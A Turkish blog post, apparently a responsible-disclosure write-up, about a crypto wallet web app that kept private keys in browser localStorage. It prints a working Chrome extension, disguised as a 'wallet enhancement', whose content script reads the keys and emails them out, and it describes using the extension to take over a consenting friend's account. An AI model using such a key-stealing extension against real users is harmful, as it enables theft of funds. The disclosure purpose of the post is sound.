Ocak 2022'de, hisse kanıtı blok zincirlerinden birinin topluluğuna katıldım. Protokolün ve ekosisteminin sunduklarıyla oynamak için https://wallet.****.org
resmi web sitesinde bir cüzdan hesabı oluşturdum. Genel merakın yanı sıra, özellikle uzantılar ve istemci tarafındaki güvenlik açıkları çağında tarayıcıda güvenliği nasıl sağladıklarıyla da ilgilendim.
Bir kullanıcı oturum açtığında, cüzdan uygulamasının (React'te yerleşik olarak) bir dizi genel ve özel anahtar oluşturduğu ve bunları tarayıcının yerel deposunda sakladığı ortaya çıktı. Dağıtılmış sistemlerde kimlik doğrulama ve yetkilendirme oluşturma deneyimim sayesinde bunun yapılacak en iyi şey olmadığını biliyordum; genel olarak bir tarayıcı uzantısının ve istemci tarafı kodunun yerel depolama birimindeki verileri okuması kolaydır[ 1 ].
Bunu kanıtlamak için, kurbanın tarayıcısından anahtarları alıp anonim e-posta adresime gönderecek basit bir Chrome uzantısı yazmaya karar verdim.
Yankesici uzantımın kök dizini şuna benziyordu:
. ├── content.js ├── email.min.js ├── index.html └── manifest.json
Ana dosyalar manifest.json
ve content.js
. İlki, uzantıyı yüklemek için gereklidir.
{ "name": "X Wallet Enhancement", "version": "1.0", "manifest_version": 3, "content_scripts": [ { "matches": [ "https://wallet.****.org/*" ], "js": [ "email.min.js", "content.js" ] } ] }
email.min.js
, herhangi bir sunucu kodu olmadan doğrudan bir tarayıcıdan e-posta göndermenize olanak tanıyan bulut hizmetlerinden birindeki istemci kitaplığıdır. index.html
hiçbir şey göstermeyen boş bir HTML sayfasıdır. Cüzdan ele geçirme mantığı content.js
dosyasında mevcuttu:
emailjs.init('user_****'); // instantiating an email delivery service let templateParams = { // gathering information about the victim's browser from_name: navigator.userAgent, // fetching wallet keys from the local storage storage: window.localStorage.getItem('_*:wallet:active_account_id_**'), }; // using a prepared email template to send an email with keys const serviceID = 'service_****'; const templateID = 'template_****'; emailjs.send(serviceID, templateID, templateParams) .then(() => { console.log("Wallet keys were send!"); }, (err) => { console.error(JSON.stringify(err)); });
Evet, ne kadar aptalca bir senaryo.
Dört dosyanın tümünü bir zip arşivine paketledim ve https://wallet.***.org
adresinde bir cüzdanı olan arkadaşımdan eserimi tarayıcısına yüklemesini rica ettim (bazı sosyal mühendislik yapıyormuş gibi yaparak). Bunu yapmadan önce ona bulgularımı ve kanıtlamaya çalıştığım teoriyi anlattım. Yardım etmekten mutluluk duydu ve bu cüzdan hesabının genel ve özel anahtarları, tarayıcı uzantısı yüklendikten birkaç saniye sonra gelen kutumda belirdi. Daha sonra anahtarları tarayıcımdaki yerel depolama alanına kaydettim ve cüzdan web sitesini açtım.
Şaşırtıcı bir şekilde, arkadaşımın kripto-cüzdan bakiyesi ve parayı çekme seçeneği benim için mevcuttu. Kurban arkadaşımla yaptığımız Zoom görüşmesi sırasında parasının bir kısmını isimsiz bir hesaba aktarıp geri gönderdim. Akıllara durgunluk vericiydi! Yakın zamanda bir yatırım turunu kapatan yeni ve gelecek vaat eden bir blockchain'in cüzdanında büyük bir güvenlik açığı vardı. Hepsinden kötüsü, kullanıcılar için 2 faktörlü kimlik doğrulaması vardı. Elbette pek çok kişi onu hemen etkinleştirmedi ve çoğu da etkinleştirmedi.
Etik bir geliştirici olarak, tarayıcı uzantısının kaynak kodunu ve web uygulamasının güvenliğinin nasıl artırılacağına dair düşüncelerimi içeren bir güvenlik açığı raporu oluşturdum. 18 Ocak'ta doğrudan güvenlik ekibinin e-posta adresine gönderildi. Birkaç gün sonra blockchain protokolünün CISO'su ile bir telefon görüşmesi yaptım ve bana sorunun farkında olduklarını ve bir sonraki sürümde bu konuyu ele alacaklarını söyledi. Olaya verilen tepkinin hızı beni biraz hayal kırıklığına uğrattı. Kullanıcıların parası hakkında konuşulduğunda iki gün sonsuzluktur. Yine de blockchain geliştiricileri bana 1000 USDT'ye eşdeğer miktarda token verdiler.
👉🏻Uygulama geliştiricilere tavsiyeler: Kullandığınız teknolojilerin ve bunların güvenlik yönlerinin farkında olun.
💡 Kripto kullanıcılarına tavsiyeler: Bir kuruluşun size hangi güvenlik seçeneklerini sunduğunu öğrenin, cüzdan hesabı oluşturduğunuzda iki faktörlü kimlik doğrulamayı etkinleştirin, paranızın tamamını sıcak cüzdanlarda saklamayın.
Burada da yayınlandı.